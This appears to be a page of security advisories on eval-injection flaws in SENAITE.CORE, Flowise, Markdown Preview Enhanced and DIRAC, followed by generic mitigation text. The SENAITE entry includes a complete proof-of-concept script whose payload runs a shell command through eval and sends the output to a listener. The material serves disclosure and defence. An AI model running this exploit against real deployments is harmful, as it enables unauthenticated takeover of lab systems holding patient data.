logger.warning(\"JSONAPI: %s: invalid JSON value\", fieldname)\n return []\n```\n\nApply the same change at [`record.py:253-262`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/record.py#L253-L262) and [`records.py:135-143`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/records.py#L135-L143).\n\n**Defense in depth: re-enable Plone\u0027s CSRF protection.** The audited release ships with `class ISenaiteCore(IDisableCSRFProtection)` at [`src/senaite/core/interfaces/__init__.py:30`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/interfaces/__init__.py#L30), which disables `plone.protect`\u0027s automatic CSRF write-detection on every request handled by the SENAITE browser layer. Removing the inheritance does not affect this unauthenticated chain but closes several authenticated CSRF chains.\n\n### PoC\n\nTested against the unmodified upstream Docker image `senaite/senaite:v2.6.0`. No source-code modification, no buildout overrides, no reverse proxy. `PASSWORD` is set to a non-default value to demonstrate that the chain works without the `admin:admin` Docker fallback.\n\n**`docker-compose.yml`**\n\n```yaml\nservices:\n senaite:\n image: senaite/senaite:v2.6.0\n ports:\n - \"8080:8080\"\n environment:\n PASSWORD: senaitestrong # non-default; chain is credential-free\n SITE: senaite\n networks:\n - poc\n\n listener:\n image: python:3.11-alpine\n command:\n - python\n - -c\n - |\n import http.server, socketserver\n log = []\n class H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n if self.path.startswith(\u0027/log\u0027):\n self.send_response(200); self.send_header(\u0027Content-Type\u0027, \u0027text/plain\u0027); self.end_headers()\n self.wfile.write((\u0027\\n\u0027.join(log)).encode())\n else:\n log.append(self.path)\n self.send_response(200); self.end_headers(); self.wfile.write(b\u0027ok\u0027)\n def log_message(self, *a, **k): pass\n socketserver.TCPServer.allow_reuse_address = True\n with socketserver.TCPServer((\u0027\u0027, 8000), H) as s: s.serve_forever()\n ports:\n - \"8000:8000\"\n networks:\n - poc\n\nnetworks:\n poc:\n```\n\n**`poc.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0\"\"\"\nimport sys, time, urllib.error, urllib.parse, urllib.request\n\nTARGET = \"http://localhost:8080\"\nSITE = \"senaite\"\nLISTENER_HOST = \"http://localhost:8000\"\nLISTENER_INSIDE = \"http://listener:8000\"\n\nPAYLOAD = (\n \"__import__(\u0027urllib2\u0027).urlopen(\"\n f\"\u0027{LISTENER_INSIDE}/?id=\u0027 + \"\n \"__import__(\u0027os\u0027).popen(\u0027id\u0027).read().replace(\u0027 \u0027, \u0027_\u0027).replace(\u0027\\\\n\u0027, \u0027_\u0027)\"\n \")\"\n)\n\ndef http_get(url, timeout=5):\n req = urllib.request.Request(url, headers={\"Accept\": \"*/*\"})\n return urllib.request.urlopen(req, timeout=timeout).read().decode(\"utf-8\", \"ignore\")\n\ndef http_post(url, fields, timeout=10):\n body = urllib.parse.urlencode(fields).encode()\n req = urllib.request.Request(url, data=body, method=\"POST\")\n return urllib.request.urlopen(req, timeout=timeout).read().decode(\"utf-8\", \"ignore\")\n\ndef wait_for_target():\n deadline = time.time() + 600\n while time.time() \u003c deadline:\n try:\n with urllib.request.urlopen(f\"{TARGET}/{SITE}/login_form\", timeout=3) as r:\n if r.status == 200: return\n except Exception: pass\n time.sleep(3)\n sys.exit(1)\n\ndef discover_bika_setup_uid():\n body = http_get(f\"{TARGET}/{SITE}/bika_setup/@@uuid\", timeout=5).strip()\n if len(body) == 32 and all(c in \"0123456789abcdef\" for c in body):\n return body\n sys.exit(1)\n\ndef fire_payload(uid):\n try:\n http_post(f\"{TARGET}/{SITE}/@@API/update\",\n {\"obj_uid\": uid, \"RejectionReasons\": PAYLOAD})\n except urllib.error.HTTPError:\n pass\n\ndef read_listener():\n time.sleep(1)\n try:\n log = http_get(f\"{LISTENER_HOST}/log\", timeout=3)\n except Exception:\n return False\n return \"id=\" in log\n\nif __name__ == \"__main__\":\n wait_for_target()\n uid = discover_bika_setup_uid()\n fire_payload(uid)\n sys.exit(0 if read_listener() else 1)\n```\n\n**Run**\n\n```\ndocker compose up -d\n# wait ~1-3 minutes for the senaite-docker first-boot Plone Site provisioning\npython3 poc.py\n```\n\n**Expected output**\n\n```\n[+] VULNERABLE: unauthenticated RCE on SENAITE.CORE v2.6.0\n captured: /?id=uid=500(senaite)_gid=500(senaite)_groups=500(senaite)_\n```\n\nThe captured query string is the stdout of `id` from the SENAITE Zope worker, fetched by the worker\u0027s `urllib2.urlopen` call against the in-network listener, proving arbitrary Python execution from a request carrying no credentials.\n\n### Impact\n\n**Vulnerability type:** Unauthenticated remote code execution. Chain of CWE-862 (Missing Authorization) and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection).\n\n**Who is impacted:** Every SENAITE deployment whose Plone Site root grants `View` to Anonymous (the upstream default) and whose `/@@API/...` endpoints are reachable from any attacker-controlled network. The upstream Docker compose ships `8080:8080` plain HTTP and `/manage` (ZMI) exposed.\n\n**Attacker capability after exploit:**\n- Arbitrary Python execution in the Zope worker process.\n- Full read/write access to the ZODB (`Data.fs` and `blobstorage`), so any patient/lab data the LIMS holds.\n- Filesystem access on the container\u0027s `/data` volume.\n- Outbound network egress from the worker.\n- Direct access to `acl_users` (the Plone PAS user folder) for creating administrator accounts in ZODB. Combined with the exposed `/manage` ZMI, this gives durable post-exploitation access.\n\n**Affected versions:** All SENAITE.CORE 2.x releases (2.0.0 through 2.6.0).\n\n### Credits\n\nDiscovered and reported by Machine Spirits UG, Cologne, Germany. Independent security research focused on medical device and healthcare application security.\n\n- Dr. Simon Weber\n- Dipl.-Inf. Volker Sch\u00f6nefeld\n- Chiara Fliegner\n\nWebsite: https://machinespirits.com",
"id": "GHSA-jrw6-7x4q-w25j",
"modified": "2026-08-26T15:28:47Z",
"published": "2026-08-26T15:28:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/senaite/senaite.core/security/advisories/GHSA-jrw6-7x4q-w25j"
},
{
"type": "WEB",
"url": "https://github.com/senaite/senaite.core/pull/2903"
},
{
"type": "WEB",
"url": "https://github.com/senaite/senaite.core/pull/2919"
},
{
"type": "WEB",
"url": "https://github.com/senaite/senaite.core/commit/a24d65e99a17ac43c5374ed9f0a60d0fe60d2f74"
},
{
"type": "WEB",
"url": "https://github.com/senaite/senaite.core/commit/ef4b6d73575b0fbc0edc6114e5e025089aaf9eb7"
},
{
"type": "PACKAGE",
"url": "https://github.com/senaite/senaite.core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "senaite.core Vulnerable to Eval Injection and Missing Authorization"
}
GHSA-M2VG-4724-XJ8G
Vulnerability from github – Published: 2026-08-13 12:31 – Updated: 2026-09-04 21:31Flowise versions before 3.1.3 contain a remote code execution vulnerability in the Custom MCP node when CUSTOM_MCP_PROTOCOL is set to stdio, allowing authenticated users to execute arbitrary commands by manipulating environment variables and command arguments. Attackers can abuse PYTHONWARNINGS and BROWSER environment variables with python3, or leverage the root working directory with node to bypass validation and execute system commands.
{
"affected": [],
"aliases": [
"CVE-2026-73601"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-13T12:17:24Z",
"severity": "CRITICAL"
},
"details": "Flowise versions before 3.1.3 contain a remote code execution vulnerability in the Custom MCP node when CUSTOM_MCP_PROTOCOL is set to stdio, allowing authenticated users to execute arbitrary commands by manipulating environment variables and command arguments. Attackers can abuse PYTHONWARNINGS and BROWSER environment variables with python3, or leverage the root working directory with node to bypass validation and execute system commands.",
"id": "GHSA-m2vg-4724-xj8g",
"modified": "2026-09-04T21:31:35Z",
"published": "2026-08-13T12:31:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g98q-rm45-q9h8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73601"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/flowise-before-remote-code-execution-via-custom-mcp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M48C-HXQG-4J76
Vulnerability from github – Published: 2026-06-05 21:32 – Updated: 2026-06-05 21:32Markdown Preview Enhanced 0.8.x with crossnote engine 0.9.28 contains a code injection vulnerability in the WaveDrom rendering pipeline that allows attackers to execute arbitrary JavaScript by embedding malicious content in a wavedrom fenced code block within a crafted Markdown document. Attackers can exploit the unsanitized passing of wavedrom block content to window.eval() in the VS Code webview context to abuse the extension's message passing and invoke arbitrary file writes on the local filesystem.
{
"affected": [],
"aliases": [
"CVE-2026-11422"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-05T21:16:29Z",
"severity": "HIGH"
},
"details": "Markdown Preview Enhanced 0.8.x with crossnote engine 0.9.28 contains a code injection vulnerability in the WaveDrom rendering pipeline that allows attackers to execute arbitrary JavaScript by embedding malicious content in a wavedrom fenced code block within a crafted Markdown document. Attackers can exploit the unsanitized passing of wavedrom block content to window.eval() in the VS Code webview context to abuse the extension\u0027s message passing and invoke arbitrary file writes on the local filesystem.",
"id": "GHSA-m48c-hxqg-4j76",
"modified": "2026-06-05T21:32:04Z",
"published": "2026-06-05T21:32:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11422"
},
{
"type": "WEB",
"url": "https://github.com/shd101wyy/vscode-markdown-preview-enhanced/issues/2315"
},
{
"type": "WEB",
"url": "https://github.com/shd101wyy/crossnote/commit/5588ca2121c3da43fe331575dc5cf4ef347b91ee"
},
{
"type": "WEB",
"url": "https://github.com/shd101wyy/vscode-markdown-preview-enhanced/commit/dcd80281c986293b93d9f1af34ced64dcb230c77"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/markdown-preview-enhanced-x-code-injection-via-wavedrom-rendering"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M4M7-4CW8-62J6
Vulnerability from github – Published: 2026-07-13 18:37 – Updated: 2026-07-13 18:37Summary
The FileCatalog DatasetManager runs a query on the database and passes the result to eval. The SQL query contains an injection vulnerability which allows an authenticated user to control the parameter returned to the eval resulting in remote code execution.
Details
The FileCatalog checkDataset function passes its datasets argument directly to the backend DB handler: https://github.com/DIRACGrid/DIRAC/blob/f7e0a3ac153315030fb3520e8ca747f013758967/src/DIRAC/DataManagementSystem/Service/FileCatalogHandler.py#L591-L593
Which in turn passes it to the __checkDataset function: https://github.com/DIRACGrid/DIRAC/blob/f7e0a3ac153315030fb3520e8ca747f013758967/src/DIRAC/DataManagementSystem/DB/FileCatalogComponents/DatasetManager/DatasetManager.py#L390
This uses an f-string to create a query without escaping, resulting in an SQL injection: https://github.com/DIRACGrid/DIRAC/blob/f7e0a3ac153315030fb3520e8ca747f013758967/src/DIRAC/DataManagementSystem/DB/FileCatalogComponents/DatasetManager/DatasetManager.py#L400-L402
The result (which is user controllable due to the SQL injection) is passed into eval almost immediately on return, leading to code execution: https://github.com/DIRACGrid/DIRAC/blob/f7e0a3ac153315030fb3520e8ca747f013758967/src/DIRAC/DataManagementSystem/DB/FileCatalogComponents/DatasetManager/DatasetManager.py#L409
There are other functions in the same file which use a similar pattern and would likely be exploitable in a similar way.
Impact
This allows any authenticated user to run commands on the server, which allows a full compromise of the DIRAC system (they can read the local dirac.cfg, get database passwords and export all stored proxies and tokens). If local logging is used, they can also remove evidence of the exploit from the log.
Patched versions:
https://pypi.org/project/DIRAC/8.0.79/ https://pypi.org/project/DIRAC/9.0.22/ https://pypi.org/project/DIRAC/9.1.10/
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "DIRAC"
},
"ranges": [
{
"events": [
{
"introduced": "6"
},
{
"fixed": "8.0.79"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "DIRAC"
},
"ranges": [
{
"events": [
{
"introduced": "8.1.0a1"
},
{
"fixed": "9.0.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "DIRAC"
},
"ranges": [
{
"events": [
{
"introduced": "9.1.0"
},
{
"fixed": "9.1.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61667"
],
"database_specific": {
"cwe_ids": [
"CWE-89",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-13T18:37:31Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nThe FileCatalog DatasetManager runs a query on the database and passes the result to eval. The SQL query contains an injection vulnerability which allows an authenticated user to control the parameter returned to the eval resulting in remote code execution.\n\n### Details\n\nThe FileCatalog checkDataset function passes its datasets argument directly to the backend DB handler:\nhttps://github.com/DIRACGrid/DIRAC/blob/f7e0a3ac153315030fb3520e8ca747f013758967/src/DIRAC/DataManagementSystem/Service/FileCatalogHandler.py#L591-L593\n\nWhich in turn passes it to the __checkDataset function:\nhttps://github.com/DIRACGrid/DIRAC/blob/f7e0a3ac153315030fb3520e8ca747f013758967/src/DIRAC/DataManagementSystem/DB/FileCatalogComponents/DatasetManager/DatasetManager.py#L390\n\nThis uses an f-string to create a query without escaping, resulting in an SQL injection:\nhttps://github.com/DIRACGrid/DIRAC/blob/f7e0a3ac153315030fb3520e8ca747f013758967/src/DIRAC/DataManagementSystem/DB/FileCatalogComponents/DatasetManager/DatasetManager.py#L400-L402\n\nThe result (which is user controllable due to the SQL injection) is passed into eval almost immediately on return, leading to code execution:\nhttps://github.com/DIRACGrid/DIRAC/blob/f7e0a3ac153315030fb3520e8ca747f013758967/src/DIRAC/DataManagementSystem/DB/FileCatalogComponents/DatasetManager/DatasetManager.py#L409\n\nThere are other functions in the same file which use a similar pattern and would likely be exploitable in a similar way.\n\n### Impact\nThis allows any authenticated user to run commands on the server, which allows a full compromise of the DIRAC system (they can read the local dirac.cfg, get database passwords and export all stored proxies and tokens). If local logging is used, they can also remove evidence of the exploit from the log.\n\n### Patched versions:\nhttps://pypi.org/project/DIRAC/8.0.79/\nhttps://pypi.org/project/DIRAC/9.0.22/\nhttps://pypi.org/project/DIRAC/9.1.10/",
"id": "GHSA-m4m7-4cw8-62j6",
"modified": "2026-07-13T18:37:31Z",
"published": "2026-07-13T18:37:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/DIRACGrid/DIRAC/security/advisories/GHSA-m4m7-4cw8-62j6"
},
{
"type": "PACKAGE",
"url": "https://github.com/DIRACGrid/DIRAC"
},
{
"type": "WEB",
"url": "https://pypi.org/project/DIRAC/8.0.79"
},
{
"type": "WEB",
"url": "https://pypi.org/project/DIRAC/9.0.22"
},
{
"type": "WEB",
"url": "https://pypi.org/project/DIRAC/9.1.10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "DIRAC is vulnerable to RCE in FileCatalog DatasetManager via SQL injection + eval"
}
Mitigation
Strategy: Refactoring
If possible, refactor your code so that it does not need to use eval() at all.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
- Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.